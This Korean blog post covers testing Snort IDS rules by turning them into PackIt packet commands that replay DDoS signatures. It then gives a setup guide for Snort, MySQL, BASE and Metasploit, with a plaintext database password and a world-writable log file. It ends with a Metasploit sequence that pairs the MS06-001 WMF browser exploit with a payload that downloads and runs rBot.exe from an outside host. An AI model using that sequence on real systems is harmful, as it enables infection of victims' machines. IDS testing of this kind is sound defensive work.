IDS 로 많이 사용중인 오픈소스 스노트가 있다. 스노트로 제작된 관련 탐지 룰도 많이 찾아 볼 수 있고, 실제 무료/상업용 침입차단 패턴이 이 스노트 형태의 기반이 많다. 여기서 스노트를 다룰 것은 아니다. 다만, 패킷 분석이 많이 사용되는 영역중에 하나로 어떤 위협을 차단/탐지 하기 위한 패턴 작성을 빼 놓을 수 없다.

네트워크 상에서 흘러다니는 트래픽을 정확히 분석 판단하고 어떤 부분을 패턴으로 뽑아내어 사용할 것인가는 단순한 것부터 복잡한 것까지 다양하다.

시그너처 패턴 작성 후 올바로 탐지하는 것을 테스트 하기 위해 트래픽을 재 전송해 보고 한다. 이미 여기서 언급한 tcpreplay 나 기타 도구를 이용해 재전송해보는 것으로 내가 만든 패턴이 올바른지 확인할 수 있다.

앞서 소개한 PackIt 도구에서 유용한 유틸리티가 하나 있다. 그것은 스노트 룰을 PackIt 명령어로 만들어, 패킷을 전송할 수 있도록 도와주는 것이다. 스노트 룰의 QA 등과 같은 업무에는 나름 유용하게 사용할 수 있을 것이다.

다운로드는 다음의 경로에서 가능하다.

http://packetfactory.openwall.net/projects/packit/s2pgen.pl

이 파일은 펄(Perl) 스크립트로 간단히 만들어져 있는 것으로 룰 파일을 지정하면, packit 으로 검증해 볼 수 있게 명령어를 만들어 준다. 파일을 열어 첫 시작부분을 보면 주소 설정을 정의하는 부분이 있다. 시그너처 파일에서 룰을 읽어들여 파싱할때 필요한 기본 정보이다. 이 정보들만 여러분들의 네트워크 상황에 맞게끔만 조절하여 사용하면 된다.


# Defaults
$DEFAULT_PACKIT     = "packit";
$DEFAULT_ADDR       = "10.0.0.1";
$DEFAULT_DATA       = "R";

# Host/Port definitions
$EXTERNAL_NET_ADDR  = "10.0.0.1";
$HOME_NET_ADDR      = "192.168.0.4";
$HTTP_SERVER_ADDR   = "192.168.0.2";
$SQL_SERVER_ADDR    = "192.168.0.3";
$SMTP_SERVER_ADDR   = "192.168.0.4";
$TELNET_SERVER_ADDR = "192.168.0.5";
$AIM_SERVER_ADDR    = "192.168.0.6";
$ORACLE_PORT        = "1521";
$HTTP_PORT          = "80";
$SHELLCODE_PORT     = "81";

우선 스노트에서 제공하는 기본 룰 파일중 하나인 ddos.rules 파일을 가지고 만들어 보면 아래와 같다 :


# ./s2pgen.pl ddos.rules
echo

echo DDOS TFN Probe
packit -t icmp -s10.0.0.1 -d192.168.0.4 -p "0x 31 32 33 34" -SR -DR    -K 8  -N 678

echo DDOS tfn2k icmp possible communication
packit -t icmp -s10.0.0.1 -d192.168.0.4 -p "0x 41 41 41 41 41 41 41 41 41 41" -SR -DR    -K 0  -N 0

echo DDOS Trin00 Daemon to Master PONG message detected
packit -t udp -s10.0.0.1 -d192.168.0.4 -p "0x 50 4f 4e 47" -SR -D31335 

echo DDOS TFN client command BE
packit -t icmp -s10.0.0.1 -d192.168.0.4  -SR -DR    -K 0  -N 456 -Q 0


packit 을 통해 보내기 전 echo 로 어떤 패킷인지 출력해 주고 packit 명령어로 전송할 패킷 정보를 만들어 준다. 그리고, 스노트에서 탐지가 되는지 확인해 보면 된다.

시그너처 제작 업무를 하는 이들에겐 나름 도움이 될 것이다. 또는 이를 변형하여 원하는 형태의 도구를 이용하여 만들어보는 것은 어떨까?
 

// www.packetinside.com/search?updated-max=2011-01-01T21:14:00%2B09:00&max-results=7 


1. 컴파일러 설치

apt-get install gcc
apt-get install g++
apt-get install make
apt-get install m4
apt-get install flex
apt-get install bison
apt-get install libc6-dev

 

2. libpcap 설치

wget www.tcpdump.org/release/libpcap-1.1.1.tar.gz
root@ubuntu:~/down# cd libpcap-1.1.1
root@ubuntu:~/down# ./configure
root@ubuntu:~/down# make && make install

 

3. pcre 설치

wget ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.30.tar.gz
root@ubuntu:~/down/pcre-8.10# ./configure
root@ubuntu:~/down/pcre-8.10# make && make install

 

4. mysql 설정 (mysql 설치 방법은 http://blog.naver.com/leopit/140154575158 참조)

mysql> CREATE DATABASE snort;
mysql> grant CREATE, INSERT, SELECT, UPDATE on snort.* to snort@localhost;
mysql> grant CREATE, INSERT, SELECT, UPDATE on snort.* to snort;
mysql> SET PASSWORD FOR snort@localhost=PASSWORD('snort-db');
mysql> flush privileges;

mysql> show grants for snort@localhost;

+--------------------------------------------------------------------------------------------------+
| Grants for snort@localhost |
+--------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'snort'@'localhost' IDENTIFIED BY PASSWORD '*41D58FEF5E7399DB002ACCB899DDB70B7395E774' | 
| GRANT SELECT, INSERT, UPDATE, CREATE ON `snort`.* TO 'snort'@'localhost' |
+--------------------------------------------------------------------------------------------------+

5. snort-mysql 설치

apt-get install snort-mysql 

 

6. snort 환경설정 파일 수정
vi /etc/snort/database.conf
 

#output database: log, mysql,

output database: alert, mysql, user=snort password=snort-db dbname=snort host=localhost

 

7. Snort DB 테이블 생성

cd /usr/share/doc/snort-mysql/
zcat create_mysql.gz | mysql -u snort -D snort -psnort-db
rm /etc/snort/db-pending-config

 

8. 로그파일 권한 수정

ls -al /var/log/snort/alert
chown snort /var/log/snort/alert
chmod 666 /var/log/snort/alert

 

9. 데몬 재시작

/etc/init.d/snort start

 

10. BASE 다운로드 및 설치

downloads.sourceforge.net에서 adodb 다운로드

cp -r /root/down/adodb5 /var/www/adodb/

 

base.secureideas.net 에서 base 다운로드

cp -r /root/down/base-1.4.5 /var/www/base

 

브라우저에서 http://localhost/base/setup/index.php 접근 (설치페이지)

adodb 경로 : /var/www/adodb 입력

각종 접근 정보 입력

 

base_conf.php 생성

 

http://localhost/base/base_main.php 접근후 최종 확인

 

11. Metasploit 설치

$ sudo apt-get install subversion ruby rubygems libopenssl-ruby 
$ svn co https://www.metasploit.com/svn/framework3/trunk/
$ mv trunk metasploit

 

테스트예)
msf > use windows/browser/ms06_001_wmf_setabortproc

msf > set payload windows/download_exec

msf > set URL http://20.30.40.234/rBot.exe

msf > set SRVHOST 20.30.40.222

msf > set LHOST 20.30.40.222

msf > set URIPATH attack.html

msf > exploit

'Security' 카테고리의 다른 글

사용자 인증  (0) 2017.01.08
FTP Active/Passive 정리  (0) 2017.01.06
포트 스캐닝으로부터 OS 정보 숨기기  (0) 2017.01.06
R.U.D.Y DDoS  (0) 2017.01.05
slowloris 분석/대응방안  (0) 2017.01.05

+ Recent posts